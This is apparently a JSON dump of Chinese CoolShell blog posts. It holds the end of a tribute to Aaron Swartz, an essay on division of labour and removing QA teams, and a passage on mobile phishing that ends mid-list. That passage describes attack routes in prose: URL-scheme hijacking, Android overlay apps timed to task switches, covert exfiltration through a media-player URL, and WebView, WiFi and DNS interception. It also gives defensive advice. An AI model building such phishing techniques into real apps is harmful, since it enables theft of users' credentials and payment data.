\"JSTOR\")的帐号可以通过MIT的网络访问大量的学术期刊。\n\n\n于是，他把他的laptop放到了地下室网络交换机的机房中，直接插上网线，然后全天后地下载那些JSTOR的学术期刊。（他利用了这些学术期刊的URL链接中的规律来下载所有的期刊），一开始JSTOR把他的帐号和IP封了，并报告给了警，美国的国家安全警察找到了那间楼道里的机房，然后让JSTOR不禁止他访问，并在那间机房里安了摄像头，钓鱼执法。然后等Aaron去换硬盘时录好像，2011年1月6日就把他给抓了。\n\n\n那年Aaron才24岁。2011年7月11日，检查官以通信欺诈、计算机欺诈、非法获得信息，以及破坏被保护的罪名电脑来起诉他。可能会受到35年以上的牢狱之灾。这是相当重的罪名。你能想像得到为什么罪名会这么重吗？\n\n\n事后，JSTOR发声明，说他们并不想起诉Aaron，起诉Aaron的是政府行为，而MIT方面虽然也放弃起诉，并也发表了相关的说明——保持中立。保持中立让MIT基本上名誉扫地，因为这种保持中立的行为违背于MIT一贯鼓吹的黑客文化，MIT成了千夫之指。\n\n\n当然，美国政府的检查官坚持以重罪起诉他。当时，放在Aaron前有两条路：1）认罪，承认犯下重罪，35年的判决会变成3个月入狱+1年的居家监禁（不得使用电脑），2）不认罪，那就有可能接受35监禁年的最坏结果。Aaron选择了后者，而他的女友则选择了认罪。他的第一任女友后来非常的悔恨，面对国家机器，个体太渺小了。\n\n\n在起诉期间，大家是否还记得美国那个臭名昭著的SOPA（ [Stop Online Piracy Act](http://en.wikipedia.org/wiki/Stop_Online_Piracy_Act \"Stop Online Piracy Act\")）法案？Aaron通过他的 [Demand Progress](http://en.wikipedia.org/wiki/Demand_Progress \"Demand Progress\") 把民众们网聚起来，和政府做斗争，最终导致了整个社会都在反对SOPA，也导致了那些议员纷纷改变自己的想法，并导致了白宫最终放弃了这个法案。这是一次民主的胜利，与Aaron有密切的相关。（相信大家都还记得那时美国各大网站都在反对这个网络审查制度）\n\n\n![斯沃茨在2012年反对禁止网络盗版法案(SOPA)的抗议活动上发言](../wp-content/uploads/2014/09/800px-AaronSwartzPIPA.jpg)斯沃茨在2012年反对禁止网络盗版法案(SOPA)的抗议活动上发言\n而在次年2012年9月，政府对Aaron进行了更为严厉的起诉，新加入了另外9条起诉，如果成立，Aaron最多获刑50年外加100万美金的罚款。同样，检察官给出了优惠条件，只要Aaron认罪，那就只起诉他6个月的监禁。Aaron再次拒绝。\n\n\n看到这里，你觉得下载一些期刊，也没有挣钱，为什么要判他这么重呢？这后面有什么故事呢？这是不是更像是一种政治迫害呢（这段时间，好像这些消息并没有进入中国，我们的大多数人依然在使用百度在墙内活得很滋润，另外，这个事在美国那边的IT 圈闹得很大，但似乎也不见各个IT圈的老大们有没有什么表态）\n\n\n不过，可以肯定的是，美国政府受够了像阿桑奇这样的人了，而Aaron让美国政府更为害怕在有规模有组织的事，所以一定少不了相关的政治迫害，天下政府一般黑。\n\n\n之后，2013年1月11日，Aaron自杀了。大家觉得他是因为来自美国政府的长期恐吓的压力和以及长期的抑郁（理想主义者可能都会有或多或少的抑郁证）\n\n\n**这就是Aaron Swartz传奇的一生。他用他的生命捍卫了互联网的开放和自由。**\n\n\n![87d31fea0996abbedb297c70b8b0b945_b](../wp-content/uploads/2014/09/87d31fea0996abbedb297c70b8b0b945_b.jpg)\n\n\n互联网之父，[Tim Berners-Lee](http://en.wikipedia.org/wiki/Tim_Berners-Lee)，在2012伦敦奥运会上的网络环节我们都见过这个人。世界上第一个web网站是1991年8月6日在CERN内的NeXT服务器上运行（今天这个网站依然可以访问：[链接](http://info.cern.ch/hypertext/WWW/TheProject.html)），Tim并被没有用这个发明挣钱，而是无偿地把WWW的构想和设计推广给了全世界。《时代》周刊评论他的时候用了这样的一条话：“与所有的推动人类进程的发明不同，这是一件纯粹个人的劳动成果”。\n\n\n而Aaron最崇拜的人就是Tim，Tim也是Aaron的精神导师。\n\n\nAaron死了以后，Aaron朋友和合作者，哈佛大学法学院教授Laurence Lessig，回忆说，他当年和仅15岁的Aaron 有过一次谈话。Aaron问他：“您刚才讲到网络审查和管制的这些弊病，那您有没有什么实际的方案来解决这些问题呢？”Lessig有点尴尬地说：“没有。我是个学者，我只负责做研究，解决问题不关我的事儿。”Aaron接着问：“您是个学者，所以解决问题不关你的事儿。那，您作为一个公民，又该如何呢？”\n\n\n有个男孩叫 Jack Andraka，来自巴尔的摩，14岁，阅读了 Aaron 自杀前推广的JSTOR 的免费学术论文，想出了一种提早检测胰腺癌的方法（一般胰腺癌被查出的时候就是你死的时候。）以此，他成功去了约翰霍普金斯大学做研究。Jack说——\n\n\n\n> “我之所以上了新闻，是因为我们的实验成功了，而这就是为什么 Aaron 做的事有那么重要……这个宇宙中的真理不是只有那些政策制定者曾经弄清楚过的，比如应该限速多少，它还包括那些能让你的孩子，不会因胰腺癌而死的研究。**如果没有访问阅读权，那个能解决你的问题的人，可能就永远找不到答案**。”\n> \n> \n\n\n \n\n\n**强烈推荐纪录片——《[互联网之子](http://www.tudou.com/programs/view/jefojo_-HjQ/)》**\n\n\n\n \n\n\nAaron说的一句话让我挺有感触的——\n\n\n**相信你应该真的每时每刻都问自己，现在这世界有什么最重要的事是我能参与去做的？**\n\n\n**如果你没在做那最重要的事，那又是为什么？**\n\n\n \n\n\n![aaron_swartz__freedom_fighter_by_caq_qoq-d5rzbi8](../wp-content/uploads/2014/09/aaron_swartz__freedom_fighter_by_caq_qoq-d5rzbi8.jpg)\n\n\n**延伸阅读**：[偷了世界的程序员](https://coolshell.cn/articles/3363.html \"偷了世界的程序员\")\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [互联网之子 – Aaron Swartz](https://coolshell.cn/articles/11928.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2015-12-13 让我们来谈谈分工.md",
    "content": "---\nlayout: post\ntitle: 让我们来谈谈分工\ndate: 2015/12/13/ 4:55:52\nupdated: 2015/12/13/ 4:55:52\nstatus: publish\npublished: true\ntype: post\n---\n\n![Division of Labour](../wp-content/uploads/2015/12/Division_of_Labour.jpeg)昨天，我看到[一个新闻](http://spectrum.ieee.org/view-from-the-valley/computing/software/yahoos-engineers-move-to-coding-without-a-net)——雅虎取消了QA团队，工程师必须自己负责代码质量，并使用持续集成代替QA。 同时，也听到网友说，“听微软做数据库运维的工程师介绍，他们也是把运维工程师和测试工程师取消了，由开发全部完成。每个人都是全栈工程师”。于是，我顺势引用了几年前写过一篇文章《[我们需要专职的QA吗？](https://coolshell.cn/articles/6994.html)》，并且又鼓吹了一下全栈。当然，一如既往的得到了一些的争议和嘲弄;-)。\n\n\n有人认为取消QA基本上是公司没钱的象征，这个观点根本不值一驳，属于井底之蛙。有人认为，社会分工是大前提，并批评我说怎么不说把所有的事全干的，把我推向了另外一个极端。另外，你千万不要以为有了分工，QA的工作就保得住了。\n\n\n就像《乔布斯传》中乔布斯质疑财务制度的时候说的，有时候，很多人都不问为什么，觉得存在的东西都是理所应当的东西。让我们失去了独立思考的机会。分工也是一样。\n\n\n所以，为了说完整分工这个逻辑。请大家耐住性子，让我就先来谈谈“分工的优缺点”吧。\n\n\n\n#### 分工的优点和缺点\n\n\n首先，分工（Division of Labour）应该是由 [Adam Smith](https://en.wikipedia.org/wiki/Adam_Smith) 在1776年的《[国富论](https://en.wikipedia.org/wiki/The_Wealth_of_Nations)》中提出来的，Adam在那时候就观察到分工对于手工业生产效率的提高。他将效率提高的原因归结于三点：\n\n\n* 熟练程度的增加。当一个工人单纯地重复同一道工序时，其对这道工序的熟练程度会大幅增加。**表现为产量和质量的提高**。\n* 如果没有分工，由一道工序转为另一道工序时会损失时间，而分工避免了这中间的损失。\n* 由于对于工序的了解和熟练度的增加，**更有效率的机械和工具被发明出来，从而提高了产量**。\n\n\n分工的确是提高生产力。我想到了福特公司一开始做出来的汽车几乎卖不出去，原因有两个，一个是成本太高，另外是生产太复杂，产能太低。于是福特公司开始把制造一辆汽车的工序分解开来，进行分工，分工给福特公司带来的好处是：\n\n\n1. 很多工作可以并行了，而且**因为事情变得简单后，执行力也变强了**\n2. 一个非常复杂和高深的汽车制造因为分工后，**很多工作不需要很NB的人来干了，只需要一般劳动者经过简单的培训就可以干了**。而且，越干越熟练，越干越专业，最终可能让合适的人合适的事。\n3. 分工后导致了很多重复劳动可以用技术来解决，于是福特公司出现生产流水线的技术（你是否还记得卓别林《摩登时代》里的工业生产流水线的场景，那取自福特公司）。\n\n\n于是，福特公司的生产效率大大提高，最终实现了让每个美国家庭都能买得起汽车的理想，同时让美国成为了轮子上的国家。\n\n\n不过，我们需要注意的是，在《国富论》中，Adam他同时也提到，分工如果过细，同样会带来问题——**简单重复的劳动会让人变成一个不会思考的机器，从而越来越笨，进而变成平庸的无技能的人**。自“分工”出现以后，争论就没有停止过。\n\n\nKarl Max同样认为**分工越来越细，会导致人的技术越来越差，同时，大量的重复劳动也会导致人对工作的失出热情，产生厌倦和抵触心理，最终会导致生产力的下降**。\n\n\n同时，还有一些经济学家也同样表明分工的一些缺点：\n\n\n* **导致人只关注整个事情中的一小块，缺乏全局视角，导致视野受限，没有完全领会工作的意义和目标，从而导致各种返工**。\n\n\n* **对于组织而言，分工也会导致出现大量的沟通协同成本，并出现碎片的生产方式，以及组织的孤岛形式，并不利于提高生产力**。\n\n\n当然，奥地利经济学家[Ludwig von Mises](https://en.wikipedia.org/wiki/Ludwig_von_Mises \"Ludwig von Mises\") 并不这么认为，他认为，在分工所得到的好处面前，这些副作用不算什么。并且，他认为在资本主义的制度下，完全是可以平衡分工的各种优点和各种缺点，从而可以达到提高生产力和提高人员素质的双赢解的。\n\n\n比如说，**分工中的各种沟通问题是可以通过一个标准协议来解的**，造灯泡的，造开关的，造灯座的完全不知道对方的存在，他们只所以可以让做出来的东西拼在一起，完全是通过了一种标准协议完成的。**这也是为什么这个世界上有各种各样的标准化的组织**。\n\n\n还有很多经济学家对分工都有自己的见解和想法。不过基本上就是上面这些Pros和Cons了。下图是一个PPT的两个slids，可以点击看大图（[来源](http://www.slideshare.net/kamran121/lecture-5-10123392)）\n\n\n\n\n|  |  |\n| --- | --- |\n| [lecture-5-10-728](https://coolshell.cn/wp-content/uploads/2015/12/lecture-5-10-728.jpg) | [lecture-5-11-728](https://coolshell.cn/wp-content/uploads/2015/12/lecture-5-11-728.jpg) |\n\n\n#### 全球化下的分工\n\n\n分工带来问题在全球化的浪潮下变得尤为突出。其委婉地被讲成是比较优势（[Comparative Advantage](https://en.wikipedia.org/wiki/Comparative_advantage \"Comparative advantage\")）\n\n\n**比较优势（**又叫**相对优势**）是经济学的概念，解释了为何在拥有相对的机会成本的优势下生产，贸易对双方都有利。当一方（一个人，一间公司，或一国）进行一项生产时所付出的机会成本比另一方低，这一方面拥有了进行这项生产的比较优势。于是，一个国家倘若专门生产自己相对优势较大的产品，并通过国际贸易换取自己不具有相对优势的产品就能获得利益。\n\n\n于是乎，分工本来想要的是——合适的人干合适的事，**但是在比较优势的情况下，商业社会把分工变成了**——**不是选择合适的人、公司或国家，而是选择成本低的人、公司或国家**。\n\n\n经济合作与发展组织[OECD](https://en.wikipedia.org/wiki/OECD \"OECD\")最近（2015年6月28日）对全球化这样建议的——\n\n\n\n> “有效率的政策的本质不是阻止失业而是鼓励就业，如果各个国家都在收获全球化的利益而不是开放贸易的话，那么一些地方就会失去工作机会，当然也伴随着在另一些地方出现新的工作机会，这是全球化进程不可避免的，而我们面对的挑战是怎么能流畅调整我们的流程，能为那些新出现的工作机会找到合适的技能匹配的工人”。\n> \n> \n\n\n通过上面的说明，我想你可以知道，为什么中国成为了世界劳动力大国，而为什么当初美国科技公司进入中国的时候，首先把测试的工作放到了中国。这就是所谓的全球化分工。同时我们也可以看到，像我们中国这样技术能力的确非常不足的国家，的确是可以通过分工这种形式，让我们这些技能一般的技术人员参与一个复杂的有技术含量的项目当中。这其中就是分工的光明面和阴暗面。\n\n\n那么，我们想一想，**随着中国的人力成本的越来越大，国际化的分工因为商业资本的因素，必然不会选择中国，只会选择人力成本更低的国家，比如印度、越南、甚至人力成本更低的国家**。美国雅虎和Adobe不是离开中国了么？再看看中国因为人民币的汇率或是人力成本的上升，我们在早几年关了多少个Made in China的工厂，这就是全球化的分工，商业上来说，他不是找最合适的人，而是找成本最低的人。\n\n\n所以，**你千万不要以为我一提倡全栈了，你QA的工作就保不住了，就算没有全栈，就算是你还在坚持的社会化的分工，也可能让你的QA的工作就保不住了，除非，你能提供更低的价格**。（想想这其中的逻辑吧，人家美国人把一些技术工作（比如测试）外包到中国的原因不是因为中国人聪明，想得周全，适合干这个测试这个事，而是因为中国人廉价，所以，当中国不在廉价了，自然就会找更廉价的地方了）\n\n\n为什么国家要从Made in China转型？不就是因为中国早期拿到的国际化分工就是这些没有技术含量的支持性的分工么？也因此而造就了大量的技能很一般的工人。为了能在全球化分工中能拿到更有质量的工作，**我们必然要从劳动密集型转向成知识密集型，必然要从支持性的工作转变为产出性的工作，必然需要单一技能型的技工转变为复合型的人才**。\n\n\n#### 分工的温床和天敌\n\n\n**分工的温床主要有两个**，\n\n\n* **一个是成本和效率**，资本家或企业主或一个国家为了追求更快成本更底的生产方式，他们必然会进行大规模的分工，伴随着分工，他们也会把一些知识或技术密集型的工作生生地变成劳动密集型的工作。然后层层外包。\n\n\n* **一个是组织的大小**，当一个组织的人数不断的变大，那么，你只能把工作和任务分得更细。这是被人数逼的，而不是实际需要的。这就是为什么我们可以看到很多大公司里要么人浮于事，要么瞎忙。\n\n\n**分工的天敌主要有一个——那就是技术**！\n\n\n每当新技术出现的时候，一些复杂的工序会被一台机器或是一种高超的技术所取代，不管是被技术自动化，还是被技术所简化**，**总之，以前本来需要数十人或是数百人才能干的事，突然之间只需要一个人就可以干完了。生产力得到了巨大的释放。所以，你这就是我们常听的——**科技是第一生产力！**\n\n\n说到这里，让我们再来看看雅虎的那条新闻——\n\n\n\n> 在软件开发流程中去掉QA团队会发生什么？更少的代码错误，更快的开发周期。这是雅虎工程师过去一年的实验结果。**雅虎的Warp Drive计划将程序开发从批发布转移了持续交付模式**，工程师的代码不经过QA团队的人工检查而是直接发布。**开发模式的转变导致了处理问题理念的根本性改变，迫使工程师开发自动检查工具去识别原来由人工检查发现的错误**。雅虎的技术团队现在全部是工程师，而不再有QA团队容身之处。雅虎的首席架构师 Amotz Maimon说，他们本来预计可能会发生严重问题，结果出乎意料，每个曾经对此抱有怀疑态度的人都说新做法很有效。\n> \n> \n\n\n所以，**当你面对一些难题的时候，比如线上的故障，或是一个复杂的软件生产活动，你是要加更多的流程更多的人呢，还是要用技术解决问题呢？一边是温床，一边是天敌，你想好了吗？**\n\n\n#### 什么样分工才是好的\n\n\n分工是必然的，因为很简单，你不可能一个人干完所有的事情，所以必需要分工，**分工不是问题，而问题则变成了——什么样的分工是理想的，是优雅的，是有效率的？**\n\n\n![华君武漫画《科学分工？》](../wp-content/uploads/2015/12/hua_junwu_17.jpg)**[华君武](https://zh.wikipedia.org/zh/%E5%8D%8E%E5%90%9B%E6%AD%A6)漫画《科学分工？》**\n对于分工来说，一般来是一种组织和管理形为。就目前来说，现代的公司有两种分工模式，分别是**Control** 和 **Commitment** 这两种分工。\n\n\n* **Control就是控制型的管理，它是一种是基于工作技能的分工，于是员工会被这种分工分配到一个比较窄的技能里去完成一个非常明确的工作**。\n\n\n* **而Commitment则是面向员工的责任心和所承担的目标来分工并完成工作的。相比起前者来说，这样的分工在完成工作时，需要的不仅仅是技能，还需要更多的责任感**。\n\n\n这么说吧，\n\n\n* 对于基于工作技能的分工，你会看到，这样的公司会把技术人员按编程语言来分，比如：Java、PHP、C/C++，或是分成：Web端、iOS端、Android端、后端、算法、数据。或是分成：开发，测试，运维。\n\n\n* 对于基于Commitment的分工，你会看到他们这样分的，软件工程师（不分前后端，不分语言，不分运维，测试），因为这样的公司认为，他招的不是只有特定语言技能的Coder，而是而学多种语言多种技术能保证软件质量以及能对软件维护的软件工程师。这种公司的软件工程师是各种团队都可以去的，而他们的分工更多的是按软件的功能，软件的模块，或是软件的产品线来分工。\n\n\n基于技能的分工已是过去时，而基于 Commitment 的分工是更有效率的分工的未来。你可以参看McAlister-Kizzier, Donna. 的文献 “[Division of Labor.](http://www.encyclopedia.com/topic/Division_of_labor.aspx#3)” 。\n\n\n#### 小结\n\n\n我说了这么多，不知道你看懂了我想表达什么没有？我不强加我的价值观，只希望你自己问自己几个问题：\n\n\n1）作为工作的人，在分工中你会怎样选择？是成为一颗棋子，一颗螺丝钉，还是成为一个多面手？\n\n\n2）作为工作的人，当你选择工作或任务的时候，你是选择做支持性的工作，还是做产出性的工作？你是选择做劳动密集型重复工作，还是做知识密集型的创新性的工作？\n\n\n3）作为老板，你是想要什么样的员工？听话的只会加班和干重复工作的劳动力，还是有责任心的为企业和产品负责的员工？\n\n\n4）作为老板，你是想通过分工释放低端员工的生产力，还是通过科技或技术去创造更NB的生产力？\n\n\n5）作为老板，分工中的问题，你找到比较优的解了吗？比如，对于不同团队间的协议，你找到了吗？\n\n\n可能，在不同的情况下你会有不同的答案。但是对我来说呢，无论是什么情况，我都只会有一个答案。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [让我们来谈谈分工](https://coolshell.cn/articles/17295.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2015-4-14 关于移动端的钓鱼式攻击.md",
    "content": "---\nlayout: post\ntitle: 关于移动端的钓鱼式攻击\ndate: 2015/4/14/ 0:13:23\nupdated: 2015/4/14/ 0:13:23\nstatus: publish\npublished: true\ntype: post\n---\n\n![phishing-1](../wp-content/uploads/2015/04/phishing-1.jpg)今天，在微博上看了一篇《[微信和淘宝到底是谁封谁](http://weibo.com/p/1001603830475402664763)》的文章，我觉得文章中逻辑错乱，所以，我发了一篇[关于这篇文章逻辑问题的长微博](http://weibo.com/p/1001603831131286939079)。后面，我被原博主冷嘲热讽了一番，说是什么鸡汤啊，什么我与某某之流的人在一起混淆视听啊，等等。并且也有一些网友找我讨论一下相关的钓鱼式攻击的技术问题。所以，我想写下这篇纯技术文章，因为我对那些商业利益上的东西不关心，所以，只谈技术，这样最简单。\n\n\n首先说明一下，**我个人不是一个安全专家，也不是一个移动开发专家，按道理来说，这篇文章不应该我来写，但是我就试一试，请原谅我的无知，也期待抛砖引玉了，希望安全的同学斧正**。\n\n\n关于钓鱼式攻击，其实是通过一种社会工程学的方式来愚弄用户的攻击式，攻击者通常会模仿一个用户信任的网站来偷取用户的机密信息，比如用户密码或是信用卡。一般来说，攻击者会通过邮件和实时通信工具完成，给被攻击者发送一个高仿的网站，然后让用户看不出来与正统网站的差别，然后收集用户的机密数据。\n\n\n#### 移动端钓鱼攻击点分析\n\n\n因为钓鱼式攻击并不新鲜，所以我这里只讲移动方面的。\n\n\n在移动端，这个事情会更容易干，因为移动端有如下特点：\n\n\n* 移动端的UI只能有一个应用占据整个屏幕，你只能看到一个应用，而且用户屏幕小，能显示的信息有限，比如浏览器里的网址是显示不全的。这会给钓鱼攻击有很多可乘之机。\n\n\n* 移动端的平台有其安全的设计。每个应用都是隔离开的，一个应用无法获取另一个应用的数据。而且应用的下载基本上来说都是来自合法的地方。比如iOS的设备通过App Store下载，每个程序都有自己的签名保证不会被篡改。而且移动端的的应用有各种权限配置，这样也能很大程度提高安全性。\n\n\n* 移动端的APP有些有些是收费的，所以自然会有盗版需求，虽然在平台上做了一些安全设计，但是并不完美。用户可以越狱，可以root。这给恶意软件有了可乘之机。\n\n\n下面我们来分析下移动端的用户操作，我们重点关注用户控制权的切换过程（因为这是攻击点）\n\n\n\n在移动设备上，基本上来说，用户的控制切换有四种：\n\n\n* 从一个APP切到另一个APP，也就是我们所谓的唤出APP。\n* 从一个APP唤出一个Web，常见为一个嵌入式的WebView或是一个浏览器\n* 从一个Web唤出一个APP，这需要浏览器支持一些非标准的HTTP协议，比如skype://之类的。\n* 从一个Web到另一个Web，这和Web上的方式差不多。\n\n\n基本上来说，**黑客的攻击从来都是找这样的转换环节来做文章的，并且需要一个用户非常熟悉的场景（这样用户才会放松警惕）**。\n\n\n通过观察移动APP的特性，我们可以知道，当用户控制切换时，有下面的这些特性：\n\n\n* 到另一个APP时，需要用户登录（如果登录的session过期了）\n* 当支付的时候，需要用户输入支付信息（信用卡信息、支持密码）\n\n\n那么用户在移动APP上经常做的事是什么？\n\n\n* **社交分享**：分享到微博，分享到微信等等，分享的时候，可能需要你输入用户名和口令。\n\n\n* **应用内购**：一般来说APP会有两种，一种免费的，一种是收费的，大量的用户都是下载免费的，然后通过什么“开通更多关卡”、“去广告”、“买道具”之类的东西，让用户输入支付信息。Apple的支付的时候也会要用户输入Apple ID的密码。\n\n\n* **点击链接**：有时候，我们收到短信，或是二维码，或是一个微信微博，会让我们去点击一个网站链接，这个网站链接要么就是打开一个网页，要么就是启动应用，要么就是跳转到应用市场去下载应用（如果你没安装）。\n\n\n所以，一个好的钓鱼式攻击一定会从这些地方入手，然后高仿UI以及交互流程，这个交互流程和用户日常操作的完全一样，让用户无法察觉。任何方式的钓鱼攻击简单来说，会有两种：\n\n\n* **一种是直接攻击：**你下载了一个恶意的APP，或是打开了一个恶意的冒牌APP。\n* **一种是中间人攻击：**用户控制权转换时的两端都是正规应用，但是中间的过程不是正常的。\n\n\n#### 攻击方式\n\n\n下面是一些常见的攻击方式：\n\n\n##### 从一个应用唤起另一个应用的方式\n\n\n**直接攻击**\n\n\n当你点击一个社交分享按钮，或是一个支付按钮的时候。就会转到一个页面，这个页面需要你输入用户机密信息（密码或是支付信息），然后再唤起真正的APP。\n\n\n一个有恶意的APP可能会让你放松警惕，因为，这个你在安装这个APP的时候，你会发现这个APP根本不需要任何的权限（Android上的），甚至连网络访问的权限都不要，因为在Android下，App可以通过别的组件访问互联网，比如：恶意应用可能创建一个MediaPlayer Object，然后就可以通过这个对象访问一个URL然后把偷到的信息发送出去。\n\n\n你的手机要被安装一个恶意的应用并不难，同样通过社工的方式，比如：盗版，色情，伪装成客服等等通过人性的弱点让你去一些非受信的市场上安装。iOS设备上的应用也可以不用通过App Store安装（通过itms-services协议，可以通过safari浏览器直接在IOS设备上安装应用程序）。\n\n\n还有，人们都是贪小便宜的人，所以，会到某些地方买一些便宜的手机（比如淘宝），现在的高仿手机，翻新的二手手机对于一般人甚至安全专家来说完全没有识别能力。这些手机中有很大可能藏有恶意程序。你千万不要以为你格式化手机就OK了。今天（2015年4月14日）早上CCTV2台的“第一时间”就说了一个案例，你可以看看。另外，你可以看看相关的新闻。（另外，你把你的旧手机卖了也要小心，因为你的数据就在里面，旧手机已经成了一个灰色产业链）\n\n\n另外，Apple的App需要有一个review过程，这个过程对大众是神秘的，但我觉得应该会包括安全方面的review。不过，这个审核过程可能也有空子可以钻。比如：在review的时候，这个应用完全正常，但在用户使用的时候，会自己从网站下载一些自己的配置文件而改变行为（更为直接的就是访问外部网页时在审核时和在用户应用时可能完全不一样，Apple应该完全没有能力审核应用要访问的外部站点）\n\n\n**中间人攻击**\n\n\n我们知道，一个APP唤起另一个APP好多都是用url-scheme的，也就是某种协议，审核这样的协议非常简单，所以如果有恶意的东西在里面基本上很容易看到。但是，如果某些APP并没有注册自己的url-scheme，或是没有被安装，反而，另一个有恶意的APP注册了这个scheme，那么，就会导致恶意的APP被唤起来了（**这就是我为什么在我的微博中说，如果用户没有安装淘宝的客户端，那么，让微信唤起淘宝的客户端时，有可能是另一个有恶意的APP。但是很多人不懂这个事。在iOS下，两个APP通讯正确的做法是“钥匙串机制”**）。\n\n\n当然如果有两个应用被注册了同一个scheme，那么，iOS和Android会给出一个选择，让用户来选（注：iOS的系统有可能会直接跳某个 App 上去，不同版本的跳规则不明确，可以认为是随机跳转）。于是乎，恶意的APP就要努力的让自己比正规的APP看起来更像个正规的APP就可以了。\n\n\n在Android平台上，这个事可能更变态，只要恶意的应用有两个权限，一个是随手机操作系统在后台启动，一个是task list（然而这两个权限都是一般权限）。这样一来，当你进行两个APP切换时，恶意程序可以通过task list权限监控到，然后自己马上先于正规的app出现，等到收集完用户数据后简单的退出就好了。这个方式只需要你的程序能在10ms以内反应过来（最佳是5ms左右），人的肉眼根本看不出来。（在iOS设备下，除了jail break后的iPhone可以这么干，正常的都iPhone还没有找到这样的攻击方式）\n\n\n##### 在一个应用内内嵌Web的方式\n\n\n这种方式更容易攻击了，现在很多很多应用都是内嵌的Web的形式，你完全不知道打开的网页的网站是什么，因为这些内嵌的WebView你连地址都看不见。而且无论是iOS或Android，其WebView都可以执行任何的Javascript代码，就算显示URL，URL也可能是被混乱过的，你也看不全，你也很容易上当。当然，那些使用带SSL证书的支持HTTPS的网站（尤其是EV证书）可以在地址栏上显示一个绿色的标记表示你访问的就是正确网址，但是并不是所有的浏览器都会这样，比如iPhone的Safari并没有这个提示，所以，你一定要用Chrome。\n\n\n更狠的是就算你打开的是一个正确的URL，你依然可能被中间人攻击。尤其是这个网站使用了明文的HTTP协议，而你又喜欢蹭那些免费的WiFi，于是很容易给把服务器返回给你的网页中做修改，比如，修改网页中login表单或是支付表单提交的网站（想想天朝的网络运营商给你访问的正常的网页弹广告这事吧）\n\n\n关于DNS劫持，有些人觉得这事可能遇不上，因为这是一个全网的问题，如果你有这样的想法你就错了。还是那样，你爱占便宜，蹭上那些没有密码的WiFi，你完不知道，你连上去的那个WiFi会设置什么样的DNS服务器，你输入了www.taobao.com，但你打开的网站根本就是不是淘定，而是一个钓鱼网站。你会知道你打开的是错的了么？基本不可能。所以，安全点的网站都是要用HTTPS，但是还是那句话，iPhone的Safari并不会提示你打开网站的SSL证书合不合法（事实上，在手机上的很多浏览器都不会这提示，只有Chrome会）。\n\n\n关于攻击的方式我不想讲太多，还有很多高级+猥琐的方式我也不是完全知道，知道了我也不说，不然，教人犯罪了。\n\n\n关于从Web端唤起APP是和，APP唤醒APP的攻击方式基本一样。我就不说了。\n\n\n#### 怎么防范钓鱼式攻击\n\n\n首先，我们要知道，钓鱼式攻击是一件非常难搞的事。要搞定这个事，一般来说需要四个方面：**立法层面**、**用户培训层面**、**宣传层面**、与**技术保全措施层面**。\n\n\n**教育方面**\n\n\n打击网钓的策略之一，是试着培养人们识别网钓，并教导怎样处理这些问题。只需要稍稍修改人们浏览习惯的方式，很多问题都可以避免。随着人们越来越认识到网钓者所使用的社会工程学技俩，传统的网钓欺诈技术可能在未来过时。\n\n\n* 对别人发来的链接要小心，尤其是让你输入机密信息的链接要小心检查。\n\n\n* 到正规的地方买手机，不要贪图小便宜。旧手机在卖前要“物理删除”数据。\n\n\n* 不要对手机越狱，不要root。\n\n\n* 不要从非信任的地方下载软件。\n\n\n* 要小心免费的WiFi。\n\n\n* 输入机密数据的时候一定要小心检查。\n\n\n* 多依赖一些不同的安全体系，比如：网上支付不要只依赖支付宝，尽量使用信用卡（信用卡千万不要设密码），这样就算是被钓鱼了，你还有一个银行安全的缓冲地带——可以不承认交易。\n\n\n* 